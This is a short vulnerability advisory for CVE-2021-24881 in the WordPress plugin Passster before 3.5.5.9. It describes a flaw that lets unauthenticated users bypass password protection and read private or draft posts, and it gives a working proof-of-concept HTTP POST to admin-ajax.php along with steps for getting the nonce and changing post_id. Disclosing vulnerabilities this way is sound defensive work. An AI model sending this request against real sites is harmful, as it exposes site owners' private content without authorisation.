Passster < 3.5.5.9 – Protection Bypass & Arbitrary Post Access | CVE 2021-24881

Description

The plugin does not properly check for password, as well as that the post to be viewed is public, allowing unauthenticated users to bypass the protection offered by the plugin, and access arbitrary posts (such as private) content, by sending a specifically crafted request.

Proof of Concept

The nonce can be retrieved from a post protected by the plugin (look for ps_ajax). 1260 is the ID of a post protected by the plugin and a password. Arbitrary posts (such as private/draft) can also be accessed the same way, just by changing the post_id parameter)

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

action=validate_input&nonce=a14db14dbd&captcha=a&post_id=1260&type=captcha&protection=full